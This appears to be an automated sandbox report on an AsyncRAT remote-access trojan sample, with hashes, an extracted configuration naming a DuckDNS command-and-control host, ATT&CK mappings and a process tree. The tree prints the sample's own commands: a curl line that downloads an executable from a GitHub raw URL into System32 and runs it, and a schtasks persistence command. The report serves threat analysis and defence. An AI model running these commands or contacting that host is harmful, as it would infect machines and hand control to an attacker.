asyncrat | 7cbd57fe2ffbaa6da63c865cce81eaf33c083e0b23d69cde51ada9f91f309a99

General

Target

usermode.exe
Size

571KB
MD5

6ff532b8468ad647aea71708cdf259ff
SHA1

8bf56f629e2c32153ba5037bf981dec868f41ce8
SHA256

7cbd57fe2ffbaa6da63c865cce81eaf33c083e0b23d69cde51ada9f91f309a99
SHA512

4c828064856d29a6530a7b633f4772190ef5d5dd92909ae78610c9319ac9d0f5388e8a15515a824109576d31522d89e06ed88dd1f8e52a8ea058c6e345ea852b
SSDEEP

12288:rWYUNQEMuGIbS2McEqE1CMSD9Opbd0xEY8Q3:pUNiufScEf0H9OpqxL

Score

10^/10

asyncrat default rat

Malware Config

Extracted

Family

asyncrat

Version

1.0.7

Botnet

Default

C2

hmnms.duckdns.org:2035

Mutex

gr4g4guhuhuie3hfgggtttu3hf33efffrfrgrgrg3f

Attributes

delay
1
install
true
install_file
Update.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/files/0x000a00000002338d-2.dat	family_asyncrat

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000\Control Panel\International\Geo\Nation	boot_cnfg_x32.exe

Executes dropped EXE 2 IoCs

pid	Process
4500	boot_cnfg_x32.exe
4576	Update.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
5	raw.githubusercontent.com
2	raw.githubusercontent.com

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\boot_cnfg_x32.exe	curl.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
944	timeout.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4472	schtasks.exe

Suspicious behavior: EnumeratesProcesses 24 IoCs

pid	Process
4500	boot_cnfg_x32.exe
4500	boot_cnfg_x32.exe
4500	boot_cnfg_x32.exe
4500	boot_cnfg_x32.exe
4500	boot_cnfg_x32.exe
4500	boot_cnfg_x32.exe
4500	boot_cnfg_x32.exe
4500	boot_cnfg_x32.exe
4500	boot_cnfg_x32.exe
4500	boot_cnfg_x32.exe
4500	boot_cnfg_x32.exe
4500	boot_cnfg_x32.exe
4500	boot_cnfg_x32.exe
4500	boot_cnfg_x32.exe
4500	boot_cnfg_x32.exe
4500	boot_cnfg_x32.exe
4500	boot_cnfg_x32.exe
4500	boot_cnfg_x32.exe
4500	boot_cnfg_x32.exe
4500	boot_cnfg_x32.exe
4500	boot_cnfg_x32.exe
4500	boot_cnfg_x32.exe
4500	boot_cnfg_x32.exe
4500	boot_cnfg_x32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4500	boot_cnfg_x32.exe
Token: SeDebugPrivilege	4576	Update.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 856 wrote to memory of 4016	856	usermode.exe	91
PID 856 wrote to memory of 4016	856	usermode.exe	91
PID 4016 wrote to memory of 4412	4016	cmd.exe	92
PID 4016 wrote to memory of 4412	4016	cmd.exe	92
PID 4016 wrote to memory of 4500	4016	cmd.exe	96
PID 4016 wrote to memory of 4500	4016	cmd.exe	96
PID 4500 wrote to memory of 2716	4500	boot_cnfg_x32.exe	99
PID 4500 wrote to memory of 2716	4500	boot_cnfg_x32.exe	99
PID 4500 wrote to memory of 4560	4500	boot_cnfg_x32.exe	101
PID 4500 wrote to memory of 4560	4500	boot_cnfg_x32.exe	101
PID 2716 wrote to memory of 4472	2716	cmd.exe	103
PID 2716 wrote to memory of 4472	2716	cmd.exe	103
PID 856 wrote to memory of 884	856	usermode.exe	104
PID 856 wrote to memory of 884	856	usermode.exe	104
PID 4560 wrote to memory of 944	4560	cmd.exe	105
PID 4560 wrote to memory of 944	4560	cmd.exe	105
PID 884 wrote to memory of 5008	884	cmd.exe	106
PID 884 wrote to memory of 5008	884	cmd.exe	106
PID 884 wrote to memory of 1224	884	cmd.exe	107
PID 884 wrote to memory of 1224	884	cmd.exe	107
PID 884 wrote to memory of 3536	884	cmd.exe	108
PID 884 wrote to memory of 3536	884	cmd.exe	108
PID 4560 wrote to memory of 4576	4560	cmd.exe	111
PID 4560 wrote to memory of 4576	4560	cmd.exe	111

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\usermode.exe
"C:\Users\Admin\AppData\Local\Temp\usermode.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:856
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl https://raw.githubusercontent.com/SkarSys/SkarCrypter/main/SkarCrxpter/obj/kdmapper_release.exe --output C:\\Windows\\System32\\boot_cnfg_x32.exe >nul 2>&1 && C:\\Windows\\System32\\boot_cnfg_x32.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4016
- - C:\Windows\system32\curl.exe
    curl https://raw.githubusercontent.com/SkarSys/SkarCrypter/main/SkarCrxpter/obj/kdmapper_release.exe --output C:\\Windows\\System32\\boot_cnfg_x32.exe
    3⤵
    - Drops file in System32 directory
    PID:4412
- - C:\Windows\System32\boot_cnfg_x32.exe
    C:\\Windows\\System32\\boot_cnfg_x32.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4500
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Update" /tr '"C:\Users\Admin\AppData\Roaming\Update.exe"' & exit
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2716
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "Update" /tr '"C:\Users\Admin\AppData\Roaming\Update.exe"'
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4472
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpE62A.tmp.bat""
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4560
    - - C:\Windows\system32\timeout.exe
        
        timeout 3
        5⤵
        Delays execution with timeout.exe
        
        PID:944
    - - C:\Users\Admin\AppData\Roaming\Update.exe
        
        "C:\Users\Admin\AppData\Roaming\Update.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:4576
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c certutil -hashfile "C:\Users\Admin\AppData\Local\Temp\usermode.exe" MD5 | find /i /v "md5" | find /i /v "certutil"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:884
- - C:\Windows\system32\certutil.exe
    certutil -hashfile "C:\Users\Admin\AppData\Local\Temp\usermode.exe" MD5
    3⤵
    PID:5008
- - C:\Windows\system32\find.exe
    find /i /v "md5"
    3⤵
    PID:1224
- - C:\Windows\system32\find.exe
    find /i /v "certutil"
    3⤵
    PID:3536

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4352,i,16856304285138459032,14480077487839828721,262144 --variations-seed-version --mojo-platform-channel-handle=4084 /prefetch:8
1⤵
PID:2636

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\tmpE62A.tmp.bat

Filesize
150B

MD5
2c8bc37b47cf08664a78ebbffd76d23b

SHA1
49e2f3d19a7b9edd662b9763ae47629496ca4758

SHA256
8a0da6a175df4c5ab306e7a27093f37aa60ef6f86f5e50d2b5c49fe991fad73a

SHA512
b81d18a37f816146daf286018ae6eea6ef888abb817d3db62d0552b7214494c5d2fd9a352176c84811a04581e3660da5c17a48aed696cd8feaaf0ee32f179648

Download Submit
C:\Windows\System32\boot_cnfg_x32.exe

Filesize
48KB

MD5
8f601efcbf3eb183bbd6500296b9ccd2

SHA1
2542d3fe0e97fa969c0ef8e86676ba1c72e6e846

SHA256
5e4a8ebbeb1b7288087c65c0f5edf6d6016528f2bf5104cfc7fd5b315bf1affd

SHA512
d101aa1cc4281e29813aaa269b26d9e500a0ee042024273a636fc06d59d4af30d04d1670a58e54d3263cb6dfe9b67c71ef58c4175628841f2c8719260f548d08

Download Submit
memory/4500-4-0x00007FFA041D3000-0x00007FFA041D5000-memory.dmp

Filesize
8KB

Download
memory/4500-5-0x00000000009F0000-0x0000000000A02000-memory.dmp

Filesize
72KB

Download
memory/4500-6-0x00007FFA041D0000-0x00007FFA04C91000-memory.dmp

Filesize
10.8MB

Download
memory/4500-11-0x00007FFA041D0000-0x00007FFA04C91000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads